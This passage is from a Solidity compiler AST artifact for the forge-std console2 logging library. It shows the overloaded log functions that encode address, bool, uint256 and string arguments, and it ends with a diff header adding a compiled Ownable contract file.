pe":"ElementaryTypeName","src":"68560:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31729,"mutability":"mutable","name":"p2","nameLocation":"68577:2:15","nodeType":"VariableDeclaration","scope":31746,"src":"68572:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31728,"name":"bool","nodeType":"ElementaryTypeName","src":"68572:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31731,"mutability":"mutable","name":"p3","nameLocation":"68586:2:15","nodeType":"VariableDeclaration","scope":31746,"src":"68581:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31730,"name":"bool","nodeType":"ElementaryTypeName","src":"68581:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"68547:42:15"},"returnParameters":{"id":31733,"nodeType":"ParameterList","parameters":[],"src":"68604:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31769,"nodeType":"FunctionDefinition","src":"68717:182:15","nodes":[],"body":{"id":31768,"nodeType":"Block","src":"68789:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c6164647265737329","id":31760,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"68839:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9f1bc36e6c1a1385bfe3a230338e478ee5447b81d25d35962aff021b2c578b9c","typeString":"literal_string \"log(address,address,bool,address)\""},"value":"log(address,address,bool,address)"},{"id":31761,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31748,"src":"68876:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31762,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31750,"src":"68880:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31763,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31752,"src":"68884:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31764,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31754,"src":"68888:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9f1bc36e6c1a1385bfe3a230338e478ee5447b81d25d35962aff021b2c578b9c","typeString":"literal_string \"log(address,address,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31758,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"68815:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31759,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"68819:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"68815:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31765,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68815:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31757,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"68799:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68799:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31767,"nodeType":"ExpressionStatement","src":"68799:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"68726:3:15","parameters":{"id":31755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31748,"mutability":"mutable","name":"p0","nameLocation":"68738:2:15","nodeType":"VariableDeclaration","scope":31769,"src":"68730:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31747,"name":"address","nodeType":"ElementaryTypeName","src":"68730:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31750,"mutability":"mutable","name":"p1","nameLocation":"68750:2:15","nodeType":"VariableDeclaration","scope":31769,"src":"68742:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31749,"name":"address","nodeType":"ElementaryTypeName","src":"68742:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31752,"mutability":"mutable","name":"p2","nameLocation":"68759:2:15","nodeType":"VariableDeclaration","scope":31769,"src":"68754:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31751,"name":"bool","nodeType":"ElementaryTypeName","src":"68754:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31754,"mutability":"mutable","name":"p3","nameLocation":"68771:2:15","nodeType":"VariableDeclaration","scope":31769,"src":"68763:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31753,"name":"address","nodeType":"ElementaryTypeName","src":"68763:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"68729:45:15"},"returnParameters":{"id":31756,"nodeType":"ParameterList","parameters":[],"src":"68789:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31792,"nodeType":"FunctionDefinition","src":"68905:188:15","nodes":[],"body":{"id":31791,"nodeType":"Block","src":"68980:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c75696e7432353629","id":31783,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"69030:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_94250d77556167cb7a7fd3eb9433101f8af8848163edfced0c46147ba10a2577","typeString":"literal_string \"log(address,address,address,uint256)\""},"value":"log(address,address,address,uint256)"},{"id":31784,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31771,"src":"69070:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31785,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31773,"src":"69074:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31786,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31775,"src":"69078:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31787,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31777,"src":"69082:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_94250d77556167cb7a7fd3eb9433101f8af8848163edfced0c46147ba10a2577","typeString":"literal_string \"log(address,address,address,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31781,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"69006:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31782,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"69010:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"69006:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69006:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31780,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"68990:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68990:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31790,"nodeType":"ExpressionStatement","src":"68990:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"68914:3:15","parameters":{"id":31778,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31771,"mutability":"mutable","name":"p0","nameLocation":"68926:2:15","nodeType":"VariableDeclaration","scope":31792,"src":"68918:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31770,"name":"address","nodeType":"ElementaryTypeName","src":"68918:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31773,"mutability":"mutable","name":"p1","nameLocation":"68938:2:15","nodeType":"VariableDeclaration","scope":31792,"src":"68930:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31772,"name":"address","nodeType":"ElementaryTypeName","src":"68930:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31775,"mutability":"mutable","name":"p2","nameLocation":"68950:2:15","nodeType":"VariableDeclaration","scope":31792,"src":"68942:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31774,"name":"address","nodeType":"ElementaryTypeName","src":"68942:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31777,"mutability":"mutable","name":"p3","nameLocation":"68962:2:15","nodeType":"VariableDeclaration","scope":31792,"src":"68954:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31776,"name":"uint256","nodeType":"ElementaryTypeName","src":"68954:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"68917:48:15"},"returnParameters":{"id":31779,"nodeType":"ParameterList","parameters":[],"src":"68980:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31815,"nodeType":"FunctionDefinition","src":"69099:193:15","nodes":[],"body":{"id":31814,"nodeType":"Block","src":"69180:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c737472696e6729","id":31806,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"69230:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f808da2086fed855c3e15d9dbfed3b17a93ed9a59947aae6ab05b7e18576f025","typeString":"literal_string \"log(address,address,address,string)\""},"value":"log(address,address,address,string)"},{"id":31807,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31794,"src":"69269:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31808,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31796,"src":"69273:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31809,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31798,"src":"69277:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31810,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31800,"src":"69281:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f808da2086fed855c3e15d9dbfed3b17a93ed9a59947aae6ab05b7e18576f025","typeString":"literal_string \"log(address,address,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31804,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"69206:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31805,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"69210:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"69206:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69206:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31803,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"69190:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31812,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69190:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31813,"nodeType":"ExpressionStatement","src":"69190:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"69108:3:15","parameters":{"id":31801,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31794,"mutability":"mutable","name":"p0","nameLocation":"69120:2:15","nodeType":"VariableDeclaration","scope":31815,"src":"69112:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31793,"name":"address","nodeType":"ElementaryTypeName","src":"69112:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31796,"mutability":"mutable","name":"p1","nameLocation":"69132:2:15","nodeType":"VariableDeclaration","scope":31815,"src":"69124:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31795,"name":"address","nodeType":"ElementaryTypeName","src":"69124:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31798,"mutability":"mutable","name":"p2","nameLocation":"69144:2:15","nodeType":"VariableDeclaration","scope":31815,"src":"69136:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31797,"name":"address","nodeType":"ElementaryTypeName","src":"69136:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31800,"mutability":"mutable","name":"p3","nameLocation":"69162:2:15","nodeType":"VariableDeclaration","scope":31815,"src":"69148:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31799,"name":"string","nodeType":"ElementaryTypeName","src":"69148:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"69111:54:15"},"returnParameters":{"id":31802,"nodeType":"ParameterList","parameters":[],"src":"69180:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31838,"nodeType":"FunctionDefinition","src":"69298:182:15","nodes":[],"body":{"id":31837,"nodeType":"Block","src":"69370:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c626f6f6c29","id":31829,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"69420:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e378994a4cd2663acfd73a7ad4e09d196e4fb7ee05b7cdf0708eb30271e2afb","typeString":"literal_string \"log(address,address,address,bool)\""},"value":"log(address,address,address,bool)"},{"id":31830,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31817,"src":"69457:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31831,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31819,"src":"69461:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31832,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31821,"src":"69465:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31833,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31823,"src":"69469:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0e378994a4cd2663acfd73a7ad4e09d196e4fb7ee05b7cdf0708eb30271e2afb","typeString":"literal_string \"log(address,address,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31827,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"69396:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31828,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"69400:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"69396:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69396:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31826,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"69380:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69380:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31836,"nodeType":"ExpressionStatement","src":"69380:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"69307:3:15","parameters":{"id":31824,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31817,"mutability":"mutable","name":"p0","nameLocation":"69319:2:15","nodeType":"VariableDeclaration","scope":31838,"src":"69311:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31816,"name":"address","nodeType":"ElementaryTypeName","src":"69311:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31819,"mutability":"mutable","name":"p1","nameLocation":"69331:2:15","nodeType":"VariableDeclaration","scope":31838,"src":"69323:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31818,"name":"address","nodeType":"ElementaryTypeName","src":"69323:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31821,"mutability":"mutable","name":"p2","nameLocation":"69343:2:15","nodeType":"VariableDeclaration","scope":31838,"src":"69335:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31820,"name":"address","nodeType":"ElementaryTypeName","src":"69335:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31823,"mutability":"mutable","name":"p3","nameLocation":"69352:2:15","nodeType":"VariableDeclaration","scope":31838,"src":"69347:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31822,"name":"bool","nodeType":"ElementaryTypeName","src":"69347:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"69310:45:15"},"returnParameters":{"id":31825,"nodeType":"ParameterList","parameters":[],"src":"69370:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31861,"nodeType":"FunctionDefinition","src":"69486:188:15","nodes":[],"body":{"id":31860,"nodeType":"Block","src":"69561:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c6164647265737329","id":31852,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"69611:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_665bf1345e006aa321c0b6b71bed55ce0d6cdd812632f8c43114f62c55ffa0b5","typeString":"literal_string \"log(address,address,address,address)\""},"value":"log(address,address,address,address)"},{"id":31853,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31840,"src":"69651:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31854,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31842,"src":"69655:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31855,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31844,"src":"69659:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31856,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31846,"src":"69663:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_665bf1345e006aa321c0b6b71bed55ce0d6cdd812632f8c43114f62c55ffa0b5","typeString":"literal_string \"log(address,address,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31850,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"69587:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31851,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"69591:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"69587:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69587:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31849,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"69571:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31858,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69571:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31859,"nodeType":"ExpressionStatement","src":"69571:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"69495:3:15","parameters":{"id":31847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31840,"mutability":"mutable","name":"p0","nameLocation":"69507:2:15","nodeType":"VariableDeclaration","scope":31861,"src":"69499:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31839,"name":"address","nodeType":"ElementaryTypeName","src":"69499:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31842,"mutability":"mutable","name":"p1","nameLocation":"69519:2:15","nodeType":"VariableDeclaration","scope":31861,"src":"69511:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31841,"name":"address","nodeType":"ElementaryTypeName","src":"69511:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31844,"mutability":"mutable","name":"p2","nameLocation":"69531:2:15","nodeType":"VariableDeclaration","scope":31861,"src":"69523:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31843,"name":"address","nodeType":"ElementaryTypeName","src":"69523:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31846,"mutability":"mutable","name":"p3","nameLocation":"69543:2:15","nodeType":"VariableDeclaration","scope":31861,"src":"69535:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31845,"name":"address","nodeType":"ElementaryTypeName","src":"69535:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"69498:48:15"},"returnParameters":{"id":31848,"nodeType":"ParameterList","parameters":[],"src":"69561:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"console2","contractDependencies":[],"contractKind":"library","documentation":{"id":23740,"nodeType":"StructuredDocumentation","src":"66:459:15","text":"@dev The original console.sol uses `int` and `uint` for computing function selectors, but it should\n use `int256` and `uint256`. This modified version fixes that. This version is recommended\n over `console.sol` if you don't need compatibility with Hardhat as the logs will show up in\n forge stack traces. If you do need compatibility with Hardhat, you must use `console.sol`.\n Reference: https://github.com/NomicFoundation/hardhat/issues/2178"},"fullyImplemented":true,"linearizedBaseContracts":[31862],"name":"console2","nameLocation":"533:8:15","scope":31863,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":15} \ No newline at end of file diff --git a/contracts/out/contracts/access/Ownable.sol/Ownable.json b/contracts/out/contracts/access/Ownable.sol/Ownable.json new file mode 100644 index 000000000..46194acf8 --- /dev/null +++ b/contracts/out/contracts/access/Ownable.sol/Ownable.json @@ -0,0 +1 @@ 